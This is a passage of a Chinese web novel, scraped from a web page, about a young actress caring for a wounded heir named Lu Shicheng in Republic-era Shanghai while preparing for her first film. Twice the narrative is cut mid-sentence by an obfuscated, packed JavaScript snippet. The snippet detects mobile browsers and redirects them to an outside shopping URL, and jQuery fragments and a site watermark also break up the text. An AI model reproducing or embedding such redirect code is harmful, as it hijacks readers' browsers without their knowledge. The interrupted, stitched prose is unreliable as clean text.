气很大的刚才是没准备好这回我有经验了来你搭着我我保证绝不会再乱晃。” 不知是不是这份口头保证起了作用陆世澄没有打退堂鼓反而很信赖地让闻亭丽扶着自己重新出发。 闻亭丽扛住了陆世澄的右胳膊同时伸出左手绕过他的后腰异常稳固地扶住他的另一边。 两人在房里慢慢地走。门外很安静周嫂和小桃子去午睡了路易斯也睡得正酣 闻亭丽一边走一边不忘悄悄打量陆世澄身上的寝衣是否合身袖长正好裤管也不短至于裤腰……被外衣罩着也看不见不过既然系得上就说明是合身的。 她不由偷笑了下她对自己估量尺寸的能力满意极了。 走到屋子中间时恰巧阳光从外头探进窗内将二人的影子拉得很长。 陆世澄脚步微顿闻亭丽只当他也注意到了地上那略显亲密的影子赶忙找话说:“疼了你就告诉我。” 一抬头却见陆世澄好奇望着窗边桌上的一张全身照。 照片里的人是闻亭丽她头戴水晶冠身穿轻纱和珠片做的公主戏装一头丰盛的长发落在肩背这样的装扮一看便知在学校参加某个演出。 单论照片并没什么特别之处奇特的是闻亭丽的表情从她的姿势来看她刚走到舞台上但从她的表情来看她像是被台下的某个人唤住了。 落影的这一瞬间她正扭头向下看秀眉微扬嘴唇微启笑容里透着几分吃惊。 这照片还是当初乔杏初追求她时为她拍的。 那时的她还在秀德女子中学念书几所学校搞联合汇演她跟同学合演莎翁的话剧。当晚乔杏初带来了一台新买的德制相机在台下为她拍了许多照片。 两人决裂后她把乔杏初送她的那些礼物全数退了回去唯有这些照片没法退毕竟相片里的人是她虽然没退却不喜欢将其放在显眼的地方索性一股脑收到了里屋。 这间房本来是给父亲准备的父亲去世后就变成了杂物间那晚陆世澄出事后她把他临时安置在此处过后也没来得及拾掇。 陆世澄大概在好奇是谁为她拍的照片毕竟从拍摄 角度来看,摄影师应当是坐在前排的观众席上。 “渴不渴?要不要喝口水?”闻亭丽顺势转移话题。 陆世澄垂眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482359|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一想,也顺势摇了摇头。他一句也没有多问,而是很自然地将视线移向房间里的其他角落。 闻亭丽感到一种难以形容的轻松,他总是那样聪明和知趣,这或许是她在与他打交道时,从未感到过难堪或窘迫的原因。 她的语气重新变得活泼起来,开始自发为陆世澄介绍房里的摆设。 “那是我收集的画报,先前我们家还在开洋服店的时候,我经常把画报上面好看的女装照片裁下来给我爹妈做参考,这样他们就知道当下流行哪些款式……洋服店关门后我也舍不得扔,打算今后让小桃子对着画上的照片学画画。” 他一张一张看过去,除了她说的洋装,还有一些珠宝首饰和可爱玩偶的剪报,看得出她很喜欢这类宝光璀璨的小物件。 她又示意他看那边。“窗台上是我自己种的花生苗,周嫂早年患了胃病,现在每天早上都要空腹吃十几粒红皮花生,搬家的时候,平安里的邻居送了我几株花生,我就试着在房里种一种,没想到种活了,你瞧,都发芽了。” “还有那个,这是我姆妈亲手做的一套小木偶,我小时候最喜欢玩这个了,小桃子出生以后又给小桃子玩。陆先生,你不知道我姆妈的手有多么巧。” 不管陆世澄的目光落在何处,闻亭丽总能兴致勃勃地为他做一番介绍。 这些不只是杂物,更是她生活的一部分,现在,她愿意向面前这个人敞开自己的“这个部分”。 陆世澄全程只是默默听着,但他的眼神显示他对闻亭丽说的每一件事都充满兴趣,可惜体力不支,仅仅绕着屋子走了两圈,额上便布满了汗珠。 闻亭丽忙把陆世澄扶回床边。 这个人实在太绅士,虽说她一直鼓励他倚靠她,他却很注意不把全部重心都压到她肩上。 走了这两圈,一大半靠他自己的力量在走,他伤得那样重,这种走法怎能不吃力。关键他还做得令人不易察觉,不然她早就发现不对了。 闻亭丽帮陆世澄重新躺下,给他喂了点水,无奈地说:“我出去一下。” 刚一转身,袖口突然被人拽住了。 闻亭丽讶然回头。 陆世澄吃力侧身,用自己没受伤的那只手在她掌心了写了几个字。 【我饿。】 写完这两个字,陆世澄抬头看着她,目光清澈坦率,却又有点无辜。 闻亭丽笑道:“不行不行,你刚刚吃过饭,不能吃太多。 可他的神情认真到让人察觉不到他在耍无赖。闻亭丽心软了,兴许人在伤重的时候,就是格外需要能量。“那我给你泡点奶粉。回头等路易斯大夫醒了,我再问问他可不可以给你多添点饭。 喝完牛乳,闻亭丽低声问他:“还想吃点什么?我去买来,说不定你晚上可以多吃些。 陆世澄低眉想了想,似乎真在琢磨自己最想吃什么,但他显然高估了自己此刻的精力,想着想着,眼神就迷离起来,再然后,尽管他的目光仍停留在闻亭丽的脸上,眼皮却慢慢地、沉重地合在了一起。 闻亭丽看得目瞪口呆,什么叫说睡就睡,她算是见识到了。她帮陆世澄掩好被子,起身准备把碗送出去,心里忽一惊,陆世澄精力那么差,该不会是崩到伤口了,若是这样,得赶快把路易斯大夫叫醒察看。 可是……路易斯昨晚一宿没睡,怎好吵醒他。 她决定自行先确认一眼。 她小心翼翼坐回床边,轻轻掀开陆世澄的被子,待要察看伤口时,却犯起了难。他的伤在肋骨,要细看,必然得解开他的上衣。 几次伸手,又因为不好意思缩了回来,最后她坦然地对自己说:路易斯拜托她照看陆世澄,她就不能敷衍了事,万一伤口出问题可就糟糕了。 她默了下,闭着眼睛去解陆世澄寝衣的第一粒扣子。 谁知她一动,手腕就被人狠狠甩开。速度是那样快,快到闻亭丽根本来不及缩手。 闻亭丽吓得睁眼,就看见陆世澄定定看着她,他像是刚惊醒,眼神有些惘然,可他的动作却是那样的迅速,大约是感觉到有人在解自己的衣扣,出于自我保护的本能才推开她的手。不必说,假如他的手没受伤,她的手腕可能已经被他一把扣住了。 闻亭丽恨不得钻进地缝,急忙解释说:“我……我……我只是想看看你的伤口。 陆世澄平复了喘息,收回手,愧疚地望着闻亭丽。 闻亭丽嘟着嘴揉捏自己的手腕,陆世澄翻身想起,闻亭丽忙按住他:“你别动,你看你一头的汗,我没事,我只是没想到一个昏睡的人反应还能这样快。” 她忍不住想笑,然而细一想,笑容便凝在脸上,只有长期处在危境中的人,才会养成这种习惯,那种警惕,几乎刻在了骨子里。由此可见,他是多么不容易将自己的信任交付出去,她一时不知说些什么,只能心情复杂地望着陆世澄。 陆世澄似乎为方才的事感到不好意思,把头仰回枕上,等了一会不见动静,又诧异地低头看她。 闻亭丽被陆世澄这举动逗笑了,的确没什么不好意思的,他不光是病人,而且病得很重,出于谨慎,帮他察看伤口再正常不过。 只是,面对面解他的衣扣实在有些难为情,于是重新替陆世澄盖好被子,把脸转向另一边,摸索着帮他解开第一粒扣子,再往下,又解开一粒扣子。 解到第四粒时,忽觉得陆世澄太过安静,她悄悄转过头,就看见陆世澄睁着眼睛看着天花板,他的样子十分镇定,也不知在想些什么。 还好,纱布没有渗血和渗液。 检查完胸肋,又轻轻帮他翻身检查后背的两处伤,最后没忘记察看他头上的纱布。 确定几处伤都没有问题,闻亭丽轻手轻脚地让陆世澄躺平,重新替他扣上衣裳。 说来奇怪,明明是同一批扣子,系衣扣时却比解衣扣时快多了,做完这一切,闻亭丽急三火四打开罐子,将一根消过毒的温度计取出来,示意陆世澄含在嘴里。 陆世澄摇摇头。 闻亭丽有些急:“路易斯大夫交代过要再量一次体温的。” 陆世澄依旧固执地摇摇头,这太孩子气了,只有稚童才会把体温计含在嘴里。 “你不能这样任性。”闻亭丽同他讲道理,“路易斯大夫说了,再发烧会很麻烦的,好歹量一量,若是没发烧,我们也放心些。” 陆世澄想了想,张嘴含住那根体温计。 小说的域名caixs?(请来才 小说 看最新章节 完整章节) 闻亭丽这才满意,托腮耐心等待着。 作者有话要说 第 43 章 欢喜。 第43章欢喜。 这时,客厅方向忽然传来一些声响。 陆世澄和闻亭丽同时侧过头听动静,又同时回眸看向对方。 不知不觉间,两个人之间仿佛又多了一点神秘的默契和信赖,闻亭丽嘴边的酒窝动了一动,小声对陆世澄说:“路易斯大夫醒了,我出去瞧瞧。” 陆世澄含着体温计点点头,闻亭丽望着他直笑,顺手端起桌上的空碗等物。 路易斯坐在客厅的沙发上揉眼睛。 “闻小姐,陆先生怎么样?” 闻亭丽将方才的情形同路易斯说了,说完,径自到厨房路易斯沏了一盏茶,回到里屋一看,陆世澄歪头睡着了,嘴里还含着体温计。 闻亭丽担忧地说:“方才也是这样,前一秒还醒着,下一秒就睡着了。” “别担心,他没有发烧。” 路易斯取出体温计看了看,对她解释道:“陆先生爱睡觉是正常的,他脑部受了创伤,这几天虽然一直在用药,但积血只能靠他自己慢慢吸收,此外我给他用的止痛药剂量也比较大,药里有些安眠药的成分,再加上他的神经系统还在恢复,嗜睡是一方面,即便醒来也会神志恍惚的。” 闻亭丽一讶,难怪他如此乖巧,有时候甚至有点孩子气。 路易斯叹气:“伤得这样重,能睡是好事,多休息休息,伤口也能愈合得快些。” 闻亭丽慎重点头。 *** 诚如路易斯所说,接下来的一个多礼拜,陆世澄大部分时间都在昏睡,但每一次醒转,他的状态就比之前要明显好转。 这天早上,陆世澄一觉醒来,发觉房里空荡荡的没有人。 他将视线投向门口,耐心地等待着。 很快,门外传来脚步声,谁知进来的却是路易斯。 “醒了?”路易斯语调轻松,“唔,今早气色好多了。” 陆世澄失望地看着他,路易斯却自顾自走到床边,正色低声说:“邝先生昨夜回上海了,今早回消息说:一切顺利。” 陆世澄颔了下首,路易斯给陆世澄喂了些吃的,扶他下地走动。 每当路过门口时,陆世澄总会停下脚步侧头听一听,路易斯揣 摩着发问:“陆先生要联系邝先生吗?” 陆世澄摇了摇头。 路易斯搀扶着陆世澄躺回床上,换药时无意间一抬头,就看见陆世澄一瞬不瞬注视着门口。 “陆先生?”路易斯忍不住再次开腔。 陆世澄若无其事把视线挪回路易斯脸上。 【闻小姐不在家吗?】 路易斯露出恍然大悟的表情。 “一大早就出门了,说是她的新戏马上要开拍了,今天剧组要提前搞什么研讨会,她是主演,不能缺席。” 说完这话,路易斯终于感受到了陆世澄的失落,他欲言又止,可是陆世澄似乎不大想跟他交流的样子,只好把盘子端出去,正巧小桃子和周嫂从菜市场回来,小桃子看这边房门开着,忙甩开周嫂的手,一头跑进屋。 “快出来,不要打搅陆先生休息。”周嫂急得追上去,路易斯却制止了她。 他示意周嫂往里看,陆世澄正饶有兴趣听小桃子说话。 “陆先生早。”小桃子学着姐姐的样子跟陆世澄打招呼,只是照例把“陆”喊成“如”。 陆世澄微微一笑,伸出未受伤的那只手同小桃子的胖手握了握,小桃子感受到了陆世澄的友善和鼓励,也高兴地“嗬嗬”笑了两声。 周嫂见小桃子还算懂分寸,这才放心去忙别的事。 小桃子在床前啪嗒啪嗒走来走去,路过杂物时,将两手攀住柜子边缘,踮起脚尖往上面看。 她很好奇陆世澄吃的东西跟她的有什么不一样。 很快在柜上发现了什么,转头看看陆世澄,确认陆世澄并不反对她从上面拿东西,便从柜顶上搬下来一样罐头似的东西。 “营养膏。”小桃子拍打着罐头盖,“姐姐,大药房买的,贵贵,只能陆先生吃,陆先生是病人,小桃子用不着吃。” 说了一大串,最后小桃子体谅地把这罐东西捧到陆世澄面前。 陆世澄在床栏上写了个“谢”字,写完瞅着小桃子。 小桃子一脸茫然,她才三岁,对于用笔墨写在纸上的字尚且不熟悉,何况是指头写的这种无形的字,歪头想了想,“咚咚咚”跑出去,不一会,抱着一堆课本进来。 “姐姐教小桃子认字。”小桃子用胖胖的手指头指着书 页,骄傲地读起来,“山、中、大、小。” 陆世澄望着本子,左边的一排字显然是闻亭丽誊写的,全是方方正正的楷书,誊了一整本,每个字都写得极大。 从右边那些歪歪扭扭的鬼画符来看,小桃子刚学到第五页。 念到第六页时,小桃子果然卡壳了。 那是一个“水”字。 陆世澄朝四下里一望,随即指指手边的水杯,让小桃子往里看。 小桃子低头看了眼,仍旧满脸不解,陆世澄便对她做出个仰脖喝水的动作,又指指杯子里的水,接着示意小桃子看本子上的那个“水”字。 小桃子终于有些懂了,望着那个字愣愣地说:“水。” 陆世澄扬了扬眉。 小桃子每念一次“水”,陆世澄便笑着颔首一次。 小桃子彻底兴奋起来,捧着本子跑出去找周嫂:“水,周嫂,水。” 周嫂和路易斯误以为陆世澄要喝水,应声跑过来,在搞明白小桃子新学了“水”字后,周嫂有些无措地进屋说:“难为陆先生这样有耐心,这孩子平日也是这样吵她姐姐的,这样下去准会没完没了,您一定累了,我马上把小桃子带出去。” 陆世澄只是摇头,小桃子愈发有兴致,跑回床边让陆世澄教她下一个字。 这回是个“花“字。 陆世澄想了想,抬头看向窗户,闻亭丽种的那盆花生苗静立在晨光里,几片浓绿的叶子反着白花花的光。 他用手指了指窗台,用目光鼓励小桃子说出那是什么,小桃子果然大声说:“姐姐种的花生苗。” 陆世澄趁势指了指本子上的“花”字,原以为有了上次的经验小桃子很快就能学会,小桃子一开口却说:“姐姐!” 要不就是“草”。 教了好多回,只是教不会,陆世澄将视线在房里扫了一圈,突然发现小桃子脚上的娃娃鞋上面嵌着两朵赛璐珞做的花。 他撑着胳膊向床外慢慢挪了几寸,让小桃子低头看自己的鞋。 小桃子慢腾腾蹲下去,用小手抚摸那柔软的花骨朵:“花花。” 陆世澄立即示意小桃子看本子的“花”字,这回小桃子说对了:“花!” 陆世澄摸摸小桃子的头,小桃子兴冲冲跑出去, 转眼就抱了一个大盒子回来,打开,里面全是各式各样的糖果。 一堆零食里,有一种金纸包着的朱古力球小桃子最为喜欢,她特地挑出来一颗赠予陆世澄。 “陆先生吃。” 陆世澄歉然指指自己头上的伤,表示自己不能吃。 小桃子依旧拿出两粒放在他的枕头边,很大方地对陆世澄说:“先不吃,好了吃。” 随后,她自行剥开一颗糖,万分珍视地将其放进自己嘴里,细细嚼了一会,再次在罐子里翻找起来,不多时,从里面取出几块用纸包着的曲奇饼干,向陆世澄介绍说:“姐姐爱吃这个,朱古力是小桃子的,姐姐没有钱,省着吃,姐姐拍戏赚了钱,就给小桃子买很多很多朱古力,给她自己买很多很多曲奇。” 她张开胖胖的胳膊,对着陆世澄画了无限大的一个圈。 陆世澄默了默,接过小桃子手里的曲奇认真看了几眼。 小桃子仅吃了一颗朱古力就舍不得再吃了,小心翼翼把盖子盖好,抱着罐子跑出去,回来继续捧起小本子,让陆世澄教她认字。 *** 此时此刻,闻亭丽正在黄金影业的事业部开会。 原定于礼拜二开机,但黄远山不知何故跟黄金影业的大老板刘梦麟起了龃龉,导致开机时间再次延期,但公司对这部戏异常重视,黄远山轮流把剧组的几位主演喊到公司讲戏不说,还亲自带闻亭丽去公司的摄影棚提前熟悉环境。 影棚租在曹家渡,面积足有五六百平米,摄影机是从美利坚商人处买来的最新式的贝尔号,水银灯、炭精灯等设备也是应有尽有(注),进棚后,闻亭丽只觉得眼花缭乱,她虽经常在舞台上表演,进棚拍电影却是第一次,对于如何走位、如何找机器,她是全无经验,黄远山刚给闻亭丽讲解了几句,便有报社记者过来采访黄远山,不一会又来了几个场务,说是某批新做的道具需要黄远山亲自验收。 稍顷,总公司打来电话,制片人有几个重要事项要当面询问黄远山,黄远山立即撇下场务走了。 这样一趟又一趟,叫闻亭丽看得目瞪口呆,她从不知道拍戏这样麻烦,看这架势黄远山是没空教她了,只好改向现场的前辈们求教,但棚内的人都面生得很,而且大家都各忙各的,没人有时间理会她,闻 亭丽接连碰了几次壁,只能捧着剧本在角落里自己琢磨,快天黑时,副导演跑来说:“快走,《时间的沙》剧组要拍夜戏了。 闻亭丽几乎是被撵着出了摄影棚。 她简直不知道怎样形容自己的这一天,在门口杵了半天,自行摸索到后面的化妆室卸妆,卸着卸着,突然意识到,这一整天她就没见过同剧组的几位主演。 她知道这部戏的男主角定的是当红小生巫笙,配角则由温冠华、林少云等老演员担任,在这些前辈面前,她就是个彻头彻尾的新人,今早她特地第一个赶到公司,预备等前辈们到场时挨个向对方问好,然而一直到十点钟也没能见到几位前辈。之后她在棚内待了一天,这帮人更是连面都没露过。 闻亭丽心里直犯嘀咕,外头传来人声。 “哎,你觉得是怎么回事? “什么? “没听刚才他们说吗,白龙帮最近像在搜找什么人。 闻亭丽耳朵一竖。 “怪就怪在他们不敢大张旗鼓地找,只敢偷偷摸摸找寻。 “哎哟,怕不是在找什么重要人物吧? 闻亭丽越听越慌,陆世澄虽然机警,究竟重伤未愈,周嫂和小桃子手无寸铁,路易斯大夫身上不知是否有枪。一旦白龙帮找上门来,他们必然凶多吉少。 出去一看,走廊上那两个人早走远了,闻亭丽急忙叫车往家赶。快到寓所时觉得周围不太对劲,马路边多了一些形迹可疑的人,沿路还停着十来辆车。 闻亭丽悄悄攥紧了包内的那把枪,令黄包车车夫绕到另一头去,路边有家电话局,她立即下车给家里打电话。 电话是路易斯接的。 闻亭丽屏住呼吸问:“大夫,家里还好吗? “闻小姐?路易斯很快反应过来,“噢不必担心,家里一切都好。 说话时,隐约听到小桃子在那头笑,那种轻松的氛围不像是硬装出来的,闻亭丽松了口气。 匆匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482360|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶回家,一进屋,刚巧路易斯从里出来。“闻小姐今天在外头都听到什么风声了? 闻亭丽急声说:“我听说陆三爷和白龙帮的正到处搜找陆先生,回来的路上我看到好些形迹可疑的人。 路易斯笑道:“放心,那些全是陆 先生的人上午邝先生带人过来了现在方圆数里都是陆家的人马陆三爷和白龙帮绝没有胆量再露面。南洋那边陆老先生也得到消息了据说这两日就会抵达上海。” 闻亭丽悬着的心落了地忽又想起那晚陆三爷对陆世澄说的那些话陆老先生急着回国未必是出于对长孙的关心她瞬间对陆世澄充满了同情朝屋里看了眼:“陆先生睡了吗?“ “半个钟头前才睡着。”路易斯擦擦头上的汗“邝先生看陆先生行动不便着人去买轮椅了闻小姐先进屋照看一会我去打两个电话。” 小桃子从另一侧抱着一个大盒子跑出来了抬头望见闻亭丽一阵风似地奔过来将盒子塞入姐姐的怀里。 闻亭丽一怔那是一罐她最喜欢吃的曲奇几年前乔宝心从家里带过一罐分给同学吃她一吃就喜欢上了焦香浓郁入口即化但因为价格太贵自从家里出事后她再也没舍得去洋行买过。 小桃子塞给她的是全新的一罐盒盖上的封条还未撕。 “这是哪来的?” 小桃子不容分说拽着闻亭丽朝主卧跑。 一进去闻亭丽吓一跳。 她的卧室里像山一样堆满了各类零食有小桃子喜欢吃的朱古力、果脯、奶粉、营养膏、一些新出的外国高级零食此外还有一堆新买来的小人书和识字课本。 而堆在最前面的正是她一向最喜欢吃的曲奇整整齐齐码在一起少说也有五十盒。 小桃子像只小兔子在零食堆里蹦来蹦去。“这是姐姐的这是小桃子的 周嫂进来笑着解释:“陆先生让人买的。上午的时候一位姓邝的先生带人来了也不知道陆先生跟他说了什么再回来时就买来了这一大堆东西我一看竟全是小姐和小桃子爱吃的连我都有份。那位邝先生说话那叫一个和气讲了一大堆好话请我们务必收下。” 说话这当口小桃子再次像箭一样飞蹿出去闻亭丽和周嫂急忙追出门小桃子却只是跑回自己屋拿出一个本子塞到姐姐手里。 打开书页小桃子对着上面的字咿咿呀呀念道:“水、花、天、木……” 全是闻亭丽尚未教过的字。 “陆先生教的。”周嫂一脸钦佩“ 一遍一遍地教,上午教了一页,中午我怕陆先生要歇息,硬拉着小桃子出来,谁知下午一个没看住,又叫小桃子跑了进去,陆先生就继续教,竟把整整三页的字都教会了。 闻亭丽不知说什么好:“你这个小淘气。 小桃子仰着小脑袋等待姐姐夸自己,闻亭丽在妹妹的脸蛋上亲了一口:“我们小桃子最聪明,但下次不要吵陆先生了,等姐姐回来再教你。 周嫂说:“还没吃饭吧,桌上有饭菜,还是热的。 闻亭丽应了,轻手轻脚走进里屋。 太阳快下山了,房内光线有些昏暗,陆世澄在床上睡得正沉。 她在床边坐下来观察他的睡态,想象不出陆世澄用什么法子教的小桃子,但她知道,那必然少不了一份非比寻常的耐心。 她在脑海里琢磨了一下当时的情形,险些笑出声,低头瞥去,手里还捧着那罐曲奇,她支起下巴,很小声地问:“陆先生怎么知道我爱吃这个? 肯定是小桃子告诉他的。这个小叛徒! 陆世澄这会儿自然无法回答她的这些问题。 他睡得很沉。 他似乎不喜欢板板正正睡在床中间,相反,他老是把自己的脸埋在枕头里,仿佛这样睡更踏实和安全。 闻亭丽刚要将曲奇饼放到一边,不期然发现他枕头边的小本子是打开的,空白页上写着一行字。 【今天还顺利吗?】 闻亭丽心中一荡。 他大概是提前写好了这句话,本想等她回来给她看,结果没能等到她就睡着了。 她不禁哑然失笑。 她从来是报喜不报忧的,面对他的关心,尽管她明知他这会儿听不见也看不着,仍提笔在纸上一字一句写道: 【顺利,顺利得不得了。今天第一次进棚,大家都很帮助我,黄姐让我先在片场适应几天再开机。】 这时候,路易斯带着两名陆家的护卫过来了,每人手里提着一个食盒,在门口冲她无声点头,闻亭丽忙出去。 二人客客气气说:“闻小姐还没吃饭吧,下午澄少爷说闻小姐爱吃这家的饭菜,特意让我们去买来,闻小姐要不先用膳吧。 他们打开食盒,将饭菜逐一摆在桌上,四菜一汤,一看就知道是广雅居买来的,那是她第一次请陆世澄吃饭的地方。 闻亭丽心里甜丝丝的,恳切地问路易斯和护卫:“你们都吃过了吗? 在得到肯定的答复之后,又把周嫂和小桃子都拉过来一起吃,先喝一口扁尖腐衣汤,不只胃里暖乎乎的,身上的疲倦感也一扫而光。 闻亭丽心满意足把饭吃完,重新进屋去照料陆世澄,他仍保持着刚才的睡姿,连身都没翻过。 她估摸着他还要睡上好一阵,便轻手轻脚从书包里取出剧本挨床沿坐下,借着窗外的残阳默背起来。 作者有话要说 注:民国时期的摄影棚有个从简陋到精进的发展过程,像美国贝尔浩式摄影机、炭精灯都是中大型电影公司才有的设备。详见《民国电影人纪事》《电影大王张善琨》《中国电影发展史》。 第 44 章 【含加更】沉沦。 第44章【含加更】沉沦。 背了十来页台词,闻亭丽突然觉得有点不对劲。 床上的陆世澄呼吸越来越粗重。 而且,不知是不是窗外恰有一缕夕阳落在陆世澄脸上的缘故,他的脸色显出一种奇异的潮红,探手摸去,他的皮肤有点烫手。 闻亭丽大吃一惊,路易斯大夫说过,别的不怕就怕陆世澄发烧,她忙低声唤道:“陆先生,陆先生。” 陆世澄微微耸了耸眉,却没能睁开眼。 闻亭丽慌忙跑出去:“路易斯大夫!陆先生好像发烧了!” 路易斯进屋检视一番后,沉着脸说:“应该是伤口感染了,白天邝先生在时,我就极力建议把陆先生转送医院,陆先生只是不同意——我马上给邝先生打电话。” 闻亭丽焦声问:“我能做些什么?” 路易斯的声音从屋外传进来:“你帮忙把药品和近几日的体征表都收好,稍后跟惠群医院的大夫交接时,这些记录有助于那边了解陆先生的伤情。” *** 一个钟头后,陆世澄被送到了惠群医院。 惠群医院是一家私立医院,隶属于陆家名下,等他们赶到时,院长早已率领一班人亲自在门口等候。 陆世澄被安排在外科的高级病房。 大批医护人员在病房里进进出出,闻亭丽无处容身,只得先退到走廊上。 忧心忡忡等了半晌,邝志林出来了。 邝志林这段时间黑瘦了不少,望见闻亭丽,疾步走近说:“闻小姐请先回吧,大夫们在商议诊疗措施,这地方连个站脚的地方都没有。快十点了,我让人送闻小姐回去。” 闻亭丽悬着心问:“陆先生情况怎么样?” 邝志林只是摇头:“闻小姐,你这几日太累了,今晚先回去好好休息,明日再来。” 闻亭丽咬了咬唇:“也好。” 邝志林送她出去,路上突然止住脚步说:“忙到现在也没跟闻小姐道过谢,那晚多亏闻小姐挺身相救,过后又承蒙闻小姐和周嫂悉心照料,否则澄少爷未必能脱离险境,这份大恩,陆先生和邝某铭记于心。” 他深深向闻亭丽鞠了一躬。 闻亭丽 忙说:“当晚那种情况凡是有点血性的人都会出手相救的何况陆先生也曾不计回报多次帮我。” 邝志林并未马上接腔而是用一种从未有过的神情打量闻亭丽。从前他待闻亭丽就极客套但某个不经意的瞬间他眼神里常常透出审视和防范的意味。 而今晚邝志林对她于客气之外还多了一份尊重。 闻亭丽未作声想想陆家多年来的恩怨纠葛再想想陆世澄险些命丧陆三爷之手这一切也就不那么难以理解了。 门口停着一辆汽车两人下了台阶邝志林亲自帮闻亭丽开车门紧接着他从西装口袋里取出一张名片递给闻亭丽。 “今后闻小姐有什么事可以直接打这个号码。” 闻亭丽知道这意味着什么接过名片正色说:“如果陆先生醒了烦请邝先生第一时间给我打电话。” 邝志林应了又叮嘱道:“还有一件事需跟闻小姐提前打声招呼为防白龙帮的人找闻小姐麻烦这段时间我们会多留一些人在贵府周围日夜照看闻小姐若是察觉到什么莫要担心那是我们的人。” 汽车开动后闻亭丽在窗内朝邝志林挥挥手邝志林在台阶上目送了一会才返身进去。 快到家时闻亭丽留神观察窗外附近果然停着两辆车。 进了家门周嫂和小桃子早睡下了。 闻亭丽径直穿过客厅朝里屋走。 往常这个点她该提醒路易斯大夫给陆世澄换药了。 推开门发觉床上空荡荡的心中莫名一空。 这些日子她习惯了在床边照料陆世澄习惯了掐着时间等陆世澄醒来现在陆世澄离开了那种心境上的失落连她自己都有点意外。 有那么一阵她只是无声无息地站在门口打量房内邝志林做事太周到走前特地留人打扫过。这一来 转头望见窗台前月光下的花生苗她情不自禁走上前拨了拨那嫩绿的叶片想起那个静谧的午后整个人说不出的怅然在窗前心烦意乱待了许久这才关上灯出来。 回到主卧闻亭丽一讶。 地板上那堆曲奇罐全都不见 了。 找遍房中每一个角落只是找不见踪影一直找到衣柜才发现糖果和曲奇罐不知何时被挪到了柜子里。 多半是周嫂趁她不在时收拾的。 这样堆在柜子里倒比在地上摆着时更多了闻亭丽笑着想怎么一下子买这么多陆世澄以为她一次能吃下多少罐?其实从医院出来后她的情绪一直有点低落直到望见这座“小山”的这一刻心情才骤然明快了几分。 这一晚闻亭丽睡得并不安稳醒来已是五点多起床第一件事就是给惠群医院打电话。 护士在那头说:“陆先生?对不起女士您记错了我们昨晚没有收治一位姓陆的先生。” 闻亭丽直发愣转念一想陆家人大概不想让外界知道陆世澄受了重伤看样子从医院是打探不到什么了她索性找出邝志林的名片打过去谁知这时电话响了。 “起床了?四十分钟后我来接你。” 是欣欣百货的大小姐董沁芳 闻亭丽一头雾水:“沁芳姐?你来接我做什么?” “给馥丽施拍冬衣广告呀说好了我来接你的。”董沁芳奇道。 闻亭丽暗道糟糕她怎么把这么重要的事给忘了。那晚欣欣百货举办决赛时馥丽施也在台下观赛颁奖一结束馥丽施的经理立即决定跟闻亭丽续签冬衣广告双方将拍摄时间定在《南国佳人》正式开机前而拍摄地点则租在冠林影视公司的摄影棚这事黄远山也知道。 鉴于欣欣百货是中间人 谁知没多久就赶上陆世澄出事—— “没忘没忘。”闻亭丽抹了把脑门上的汗打着哈哈笑道“我正准备吃早饭呢。” 。” 接完这通电话闻亭丽忙不迭去盥洗室洗漱看看还有时间便再次拿起话筒给邝志林打过去。 接电话的是个老头想必邝志林昨夜曾专门交代过老头的语气很温和。 “邝先生一整晚都没回来……闻小姐放心一有消息邝先生就会通知您的。” 闻 亭丽同对方道了谢,挂断电话后,心中只是不安,可是再不安又如何,一个人总得先把眼前的事做好再说。 想起今天要去的冠林摄影棚经常有大公司拍广告,她特地精心打扮一番才出门,出来后在路口等了几分钟,就看见董沁芳的汽车朝这边驶来。 “沁芳姐!” 董沁芳眼前一亮:“今天怎么打扮得这样招眼?我知道了,你一定是想在冠林的摄影棚里争取新的工作机会,妙极了!那些经理看到这么漂亮的小姑娘,说不定当场找你拍广告呢。” 闻亭丽满肚子心事,上车时只是笑:“沁芳姐又取笑我。” 董沁芳转动方向盘:“这可不是取笑,你呀,不仅懂得把握机会,还懂得主动制造机会,即便有时候运气不那么好,你骨子里的这股劲也能帮你把坏事变成好事,我就喜欢跟这样的聪明人打交道。” 两人就这样闲闲聊着,驱车向目的地驶去,路过惠群医院时,董沁芳忽道: “那不是你们学校的邹校长吗?她老人家一大早到医院来做什么?” 闻亭丽惴惴地望着窗外,邹校长刚从车上下来,给邹校长开门的人正是邝志林,邹校长神色匆匆向里走,邝志林紧随其后。 “来看病?不对,若是来看病,没必要让邝志林专门陪着,他可是陆世澄身边的头号忙人。” 闻亭丽忙说:“我听说邹校长当年跟陆小先生的母亲是挚友,兴许陆先生不放心,所以才让邝先生陪邹校长看病。” 又小心翼翼岔开话题道:“沁芳姐,再不走就迟到了。” 两人赶到摄影棚时,馥丽施的人也刚到,诚如董沁芳所说,今天共有四家公司在此地租影棚拍广告片(注),除了欣欣百货和馥丽施布料行,还有另外两家名气不小的公司,这边闻亭丽一露面,馥丽施的工作人员呼啦啦围上来,董沁芳在路边停好车,自行去找欣欣的同事。 馥丽施的经理一共带来了四十多套冬装,每拍完一套造型,闻亭丽就得抓紧时间到化妆室换下一套。眼下虽已是初秋,天气却不比夏日清凉多少,尤其是摄影棚里,温度比外面高许多,闻亭丽穿着厚重的冬装,身上的汗就没停过,偏偏还得在镜头里做出种种姿态,这实在是一种折磨。 好在闻亭丽不是一般人,不论多厚的 衣服穿在身上,她都能展现最自然和动人的笑容。 